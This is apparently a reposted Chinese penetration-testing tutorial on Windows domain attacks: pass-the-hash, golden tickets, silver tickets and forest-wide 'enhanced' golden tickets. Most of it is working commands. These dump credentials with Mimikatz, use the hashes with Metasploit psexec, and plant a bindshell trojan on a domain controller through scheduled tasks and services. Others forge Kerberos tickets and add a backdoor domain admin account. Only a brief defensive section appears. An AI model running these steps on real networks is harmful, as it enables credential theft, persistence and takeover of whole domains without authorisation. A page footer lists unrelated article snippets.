哈希传递(PTH)

使用Mimikatz进行PTH

Pass The Hash 哈希传递攻击简称 PTH,该方法通过找到与账户相关的密码散列(NTLLHash)来进 行攻击。由于在Windows系统中,通常会使用NTLM Hash对访问资源的用户进行身份认证,所以该攻 击可以在不需要明文密码的情况下,利用LM HASH或者NTLM HASH直接远程登录目标主机乃至反弹 shell。

在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和 密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录 内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。 常常适用于域/工作组环境。

下面演示哈希传递攻击的方法(需要管理员权限):

假设已经获得域环境中某个主机的权限,并且拥有本地administrator的权限(被域管设置了同一密 码)。

  1. 攻击者在跳板机上面以管理员权限登录
  2. 上传mimikatz
  3. 用管理员权限运行mimikatz
  4. mimikatz抓取Hash:
  5. 抓取到本地administrator管理员的NTLM Hash(和域管是通用的): 4d6e43b2cdc951808100f5b1d09aac63
privilege::debug
sekurlsa::logonpasswords

然后,在跳板机上用mimikatz将获取的Administrator的Hash添加进lsass.exe的内存数据中:

privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup 
/ntlm:4d6e43b2cdc951808100f5b1d09aac63

成功,此时会自动弹出一个新的shell,这时访问远程主机或服务,就不用提供明文密码了,如下,我们 列出了域控制器OWA的c盘目录:

我们还能将msf木马copy到域控上并设置计划任务或创建服务来执行:

copy bindshell.exe \\dc\c$
// 将msf木马bindshell.exe复制到目标机器上
dir \\dc\c$
schtasks /create /tn "shell" /tr C:\bindshell.exe /sc MINUTE /s 
192.168.52.138
// 在域控上创建shell计划任务,开机时启动c盘下bindshell.exe
schtasks /run /s 192.168.52.138 /i /tn "shell"
// 在域控上立即启动该计划任务
sc \\OWA create bindshell binpath= "c:\bindshell.exe"
// 在域控上创建服务启动木马
sc \\OWA start bindshell
// 在域控上立即启动该服务

注意,哈希传递攻击要注意一下几点:

  • dir命令后面要使用主机名,不能用IP,否则报错
  • 使用mimikatz进行哈希传递要具有本地管理员权限

使用Metasploit进行PTH

经常使用的三个模块

auxiliary/admin/smb/psexec_command     // 在目标机器上执行系统命令              
exploit/windows/smb/psexec           // 用psexec执行系统命令         
exploit/windows/smb/psexec_psh         // 使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击目标机器为例(设置smbuser、smbpass、 smbdomain)

可以看到,该模块默认使用也仅能使用windows/meterpreter/reverse_tcp作为payload,其为反向的 shell,这也就决定了,我们进行哈希传递攻击的目标主机(Windows Server 2003)必须能上网。

1.然后配置攻击目标的参数和反连监听器的相关参数

use exploit/windows/smb/psexec
set rhosts xxx.xxx.xx.xxx
set smbuser administrator
set smbpass 00000000000000000000000000000000:087d76d41555a62696377153d9b85011 
# 完整的Administrator用户的Hash
set smbdomain gxa
set lport 12555
run

如上图,攻击成功,得到Windows Server 2003的shell。注意这里的smbpass选项,其可以为明文密 码,也可以为Hash,但Hash必须是完整的,如果不知道前面的LM Hash部分,可以像上面那样用0代 替。

如果msf攻击机已经拿到一个跳板机的meterpreter,且无法直接与域控通信,如何进行PTH?

1.不要忘了设置通向内网的路由

run autoroute——》use post/multi/manage/autoroute

show options

set session n

set subnet x.x.x.x

票据传递(PTT)

KDC中分为两个部分:Authentication Service(AS,身份验证服务)和Ticket Granting Service(TGS,票据授 权服务)

AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户 密码都在白名单中的Client才能申请到TGT。

Kerberos认证的大概流程

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个 TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证 请求,这个过程分为三块:

Client 与 AS 的交互,

Client 与 TGS 的交互,

Client 与 Server 的交互。

黄金票据是伪造TGT,白银票据则是伪造ST

这里介绍域内常用的两种攻击方式:黄金票据Golden ticket、白银票据SILVER TICKET

金票Golden ticket#

原理#

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的, 所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的 交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

黄金票据特点

  • 域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,这意味着攻击者可以使用 禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。
  • 由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有 效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效 期为10 年,那么也会信任票据的有效性期为10年。
  • 该KRBTGT帐户密码从不更改*和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请 注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在。
  • 它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证。
  • .这个精心创建的TGT要求攻击者拥有Active Directory域的KRBTGT密码哈希值(通常从域控制器转 储)。
  • KRBTGT NTLM哈希可用于生成一个有效的TGT(使用RC4)模拟任何用户访问Active Directory中 的任何资源。
  • 在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域。
  • 用于从AD森林中的DC获取有效的TGS票据,并提供一个坚持在一切域访问所有的主机的好办法。

伪造金票的场景和所需条件#

黄金票据的利用常用于权限维持阶段。假设这么一种情况,我们已拿到的域内所有的账户Hash,包括 krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域 内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的 HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成 员,可用于Kerberos认证的任何服务。

所需条件

1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH

4、伪造任意用户名

(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)

利用方式#

先前利用mimikatz拿到了域管理权限时获取的域的SID和KRBTGT账号的NTLM HASH

privilege::debug
lsadump::lsa /patch

在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存:

kerberos::golden /user:administrator /domain:hacke.testlab /sid:S-1-5-21-
954094320-202977030-1482179831 /krbtgt:ac923e1d7f56e0adf967356b8d41953e 
/ticket:ticket.kirbi

/user:需要伪造的域管理员用户

/domain:域名称

/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注 意是去掉最后一个-后面的值!)

/krbtgt:krbtgt的HASH值

/ticket:生成的票据名称

第二步用mimikatz清除票据

kerberos::purge \\清除票据
kerberos::tgt   \\查看票据

第三步用mimikatz导入票据

kerberos::ptt ticket.kirbi

成功访问dc

此时尝试创建一个的域管账号,命令执行成功:

net user aaa !@#qwe123 /add /domain
net user /domain
net group "domain admins" aaa /add /domain

黄金票据防御

限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录 到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的 Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到 KRBTGT帐户密码。

禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上 签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加 密,则DC(KDC)通过检查KRBTGT以前的密码来验证。

银票SILVER TICKET#

原理#

白银票据就是伪造的ST。在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接 收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。

所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分 服务起作用。

白银票据的特点

  • 白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台 服务器都对服务主体名称的服务帐户进行加密和签名。
  • 黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票 据仅限于特定服务器上的任何服务。
  • 大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密 码哈希生成的有效TGS可以完全伪造PAC
  • 攻击者需要服务帐户密码哈希值
  • TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。
  • 任何事件日志都在目标服务器上。

伪造银票所需条件#

  • 域名
  • 域sid
  • 目标服务器名
  • 可利用的服务
  • 服务账号的NTML HASH
  • 需要伪造的用户名

在域控中使用mimikatz获取相关信息

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

回到域内低权限的账号

先使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令:

kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-
1482179831 /target:DC.hacke.testlab /service:cifs 
/rc4:2c7f354c971b062e1e42f12a30709a7f /user:aaa /ptt

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号 NTMLHASH /user:用户名 /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择,因为没有TGT去不断申请ticket,所以只能针对某一些服务来进 行伪造

测试一下,成功执行 dir \\dc\c$ ,并且可以创建域管账号,复制文件等:

金票和银票的区别#

获取的权限不同#

金票:伪造的TGT,可以获取任意Kerberos的访问权限

银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同#

金票:同KDC交互,但不同AS交互

银票:不同KDC交互,直接访问Server

加密方式不同#

金票:由krbtgt NTLM Hash 加密

银票:由服务账号 NTLM Hash 加密

EnhancedGolden Tickets

在Golden Ticket部分说明可利用krbtgt的密码HASH值生成金票,从而能够获取域控权限同时能够访问域 内其他主机的任何服务。但是普通的金票不能够跨域使用,也就是说金票的权限被限制在当前域内。

域树与域林

在下图中 UKNOWSEC.CN 为其他两个域的根域,NEWS.UKNOWSEC.CN和 DEV.UKNOWSEC.CN 均为 UKNOWSEC.CN的子域,这三个域组成了一个域树。子域的概念可以理解为一个集团在不同业务上分公 司,他们有业务重合的点并且都属于 UKNOWSEC.CN这个根域,但又独立运作。同样 TEST.COM 也是 一个单独的域树,两个域树 UKONWSE.CN 和 TEST.CN 组合起来被称为一个域林。

普通金票的局限性

在上图中说到UKNOWSEC.CN为其他两个域(NEWS.UKNOWSEC.CN和DEV.UKNOWSEC.CN)的根域, 根域和其他域的最大的区别就是根域对整个域林都有控制权。而域正是根据Enterprise Admins组来实现 这样的权限划分。

Enterprise Admins组

EnterpriseAdmins组是域中用户的一个组,只存在于一个林中的根域中,这个组的成员,这里也就是 UKNOWSEC.CN中的Administrator用户(不是本地的Administrator,是域中的Administrator)对域有 完全管理控制权。

UKNOWSEC.CN的域控上Enterprise Admins组的RID为519.

Domain Admins组

子域中是不存在EnterpriseAdmins组的,在一个子域中权限最高的组就是Domain Admins组。 NEWS.UKNOWSEC.CN这个子域中的Administrator用户,这个Administrator有当前域的最高权限。

突破限制

普通的黄金票据被限制在当前域内,在2015年Black Hat USA中国外的研究者提出了突破域限制的增强版 的黄金票据。通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作可以跨 域的金票。

如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据。

然后通过mimikatz重新生成包含根域SID的新的金票

kerberos::golden /admin:administrator /domain:news.uknowsec.cn /sid:XXX 
/sids:XXX /krbtgt:XXX /startoffset:0 /endin:600 /renewmax:10080 /ptt

Startoffset和endin分别代表偏移量和长度,renewmax表示生成的票据的最长时间。

注意这里是不知道根域UKONWSEC.CN的krbtgt的密码HASH的,使用的是子域NEWS.UKNOWSEC.CN 中的KRBTGT的密码HASH。

然后就可以通过dir访问DC. UKNOWSEC的共享文件夹,此时的这个票据票是拥有整个域林的控制权的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/844955.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WPF WebBrowser控件解析 HTML

WPF WebBrowser控件解析 HTML Window里面的AllowsTransparency属性不要加<WebBrowser x:Name"webBrowser" />public void InitWeb() {string htmlString "<html><head><title>this is a test</title><script type text/jav…

算法学习笔记(7.2)-贪心算法(最大容量问题)

目录 ##问题描述 ##问题示例 ##释 ##贪心策略的确定 ##代码示例 ##正确性验证 ##问题描述 输入一个数组 ℎ&#x1d461; &#xff0c;其中的每个元素代表一个垂直隔板的高度。数组中的任意两个隔板&#xff0c;以及它们之间的空间可以组成一个容器。 容器的容量等于高度和宽…

泛型aaaaa

1、泛型的概述&#xff1a; 1.1 泛型的由来 根据《Java编程思想》中的描述&#xff0c;泛型出现的动机&#xff1a; 有很多原因促成了泛型的出现&#xff0c;而最引人注意的一个原因&#xff0c;就是为了创建容器类。泛型的思想很早就存在&#xff0c;如C中的模板&#xff0…

6个PPT素材模板网站,免费!

免费PPT素材模板下载&#xff0c;就上这6个网站&#xff0c;建议收藏&#xff01; 1、菜鸟图库 ppt模板免费下载|ppt背景图片 - 菜鸟图库 菜鸟图库是一个设计、办公、媒体等素材非常齐全的网站&#xff0c;站内有几百万的素材&#xff0c;其中PPT模板就有几十万个&#xff0c;…

[stm32]——定时器与PWM的LED控制

目录 一、stm32定时器 1、定时器简介 2、定时器分类 3、通用定时器介绍 二、PWM相关介绍 1、工作原理 2、PWM的一般步骤 三、定时器控制LED亮灭 1、工程创建 2、代码编写 3、实现效果 四、采用PWM模式&#xff0c;实现呼吸灯效果 1、工程创建 2、代码编写 3、实现效果 一、stm3…

STM32 IIC协议

本文代码使用 HAL 库。 文章目录 前言一、什么是IIC协议二、IIC信号三、IIC协议的通讯时序1. 写操作2. 读操作 四、上拉电阻作用总结 前言 从这篇文章开始为大家介绍一些通信协议&#xff0c;包括 UART&#xff0c;SPI&#xff0c;IIC等。 UART串口通讯协议 SPI通信协议 一、…

B端系统:角色与权限界面设计,一文读懂。

一、什么是角色与权限系统 角色与权限系统是一种用于管理和控制用户在系统中的访问和操作权限的机制。它通过将用户分配到不同的角色&#xff0c;并为每个角色分配相应的权限&#xff0c;来实现对系统资源的权限控制和管理。 在角色与权限系统中&#xff0c;通常会定义多个角色…

postgressql——四种进程间锁(4)

进程间锁 在PostgreSQL里有四种类型的进程间锁: Spinlocks:自旋锁,其保护的对象一般是数据库内部的一些数据结构,是一种轻量级的锁。 LWLocks:轻量锁,也是主要用于保护数据库内部的一些数据结构,支持独占和共享两种模式。 Regular locks:又叫heavyweight locks,也就是…

【深度揭秘GPT-4o】:全面解析新一代AI技术的突破与优势

目录 ​编辑 1.版本对比&#xff1a;从GPT-3到GPT-4&#xff0c;再到GPT-4o的飞跃 1.1 模型规模的扩展 1.2 训练数据的更新 1.3 算法优化与效率提升 1.4 案例分析 2.技术能力&#xff1a;GPT-4o的核心优势 2.1 卓越的自然语言理解 2.1.1 上下文理解能力 2.1.2 语义分…

el-table中的信息数据过长 :show-overflow-tooltip=‘true‘**

可以在 el-table-column中添加 :show-overflow-tooltip‘true’

Kotlin 2.0 重磅发布! 性能提升!新功能上线!开发者必看!

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …

【Java面试】六、Spring框架相关

文章目录 1、单例Bean不是线程安全的2、AOP3、Spring中事务的实现4、Spring事务失效的场景4.1 情况一&#xff1a;异常被捕获4.2 情况二&#xff1a;抛出检查异常4.3 注解加在非public方法上 5、Bean的生命周期6、Bean的循环引用7、Bean循环引用的解决&#xff1a;Spring三级缓…

软考随记(二)

I/O系统的5种不同的工作方式&#xff1a; 程序控制方式&#xff1a; 无条件查询&#xff1a;I/O端口总是准备好接受主机的输出数据&#xff0c;或是总是准备好向主机输入数据&#xff0c;而CPU在需要时随时直接利用I/O指令访问相应的I/O端口&#xff0c;实现与外设的数据交换 …

python-求点积

【问题描述】&#xff1a;给出两个数组&#xff0c;并求它们的点积。 【问题描述】&#xff1a;输入A[1,1,1],B[2,2,2]&#xff0c;输出6,即1*21*21*26。输入A[3,2],B[2,3,3],输出-1&#xff0c;没有点积。 完整代码如下&#xff1a; alist(map(int,input().split())) blist(…

vscode 默认终端(Terminal) 为CMD,但是新建是powerShell

☆ 问题描述 vscode 默认终端&#xff08;Terminal&#xff09; 为CMD&#xff0c;但是新建是powerShell ★ 解决方案 随便设置其他为默认&#xff0c;然后再设置回来CMD为默认就行了&#xff0c;实在不行就重装vscode吧… ✅ 总结 应该是vscode的小bug

连接调优 ——OceanBase SQL 性能调优实践分享(2)

接着上篇《索引调优 —— OceanBase SQL 性能调优实践分享&#xff08;1&#xff09;》的探讨&#xff0c;本篇文章主要是分享关于连接&#xff08;join&#xff09;调优的实践和心得。 连接调优 在OceanBase数据库中&#xff0c;关于连接操作&#xff0c;存在三种基本的连接…

redis windows环境下的部署安装

2024Redis windows安装、部署与环境变量 一、下载 Redis官网目前暂不支持Windows版本&#xff0c;只能从github中下载。 windows 64位系统下载redis路径&#xff1a;https://github.com/tporadowski/redis/releases&#xff0c;下载zip包。 目前Windows版本只更新到5.0的版本…

vscode编译和调试wsl环境的c语言程序

直接f5会报错&#xff0c;提示你改一下json文件 launch.json { “version”: “0.2.0”, “configurations”: [ { “name”: “(gdb) Launch”, “type”: “cppdbg”, “request”: “launch”, “program”: “ w o r k s p a c e F o l d e r / a . o u t " , " …

香橙派OriengePi AiPro 华为昇腾芯片开发板开箱测评

香橙派OriengePi AiPro 华为昇腾芯片开发板开箱测评 文章目录 前言OrangePi AIpro硬件相关及配置外观接口配置虚拟桌面网络配置拓展swap内存 软件相关及配置docker基础镜像搭建pytorch安装及匹配 软件测试使用yolo v8测试使用模型转换 总结 前言 博主有幸受邀CSDN测评香橙派与…

我喜欢的vscode插件

有个更全的&#xff1a;提高编程效率的30个VScode插件 Image preview&#xff08;图片预览&#xff09; any-rule&#xff08;正则表达式大全&#xff09; px to rem & rpx & vw(cssrem)&#xff08;px和rem之间转换&#xff09; 小程序开发助手 Auto Close Tag A…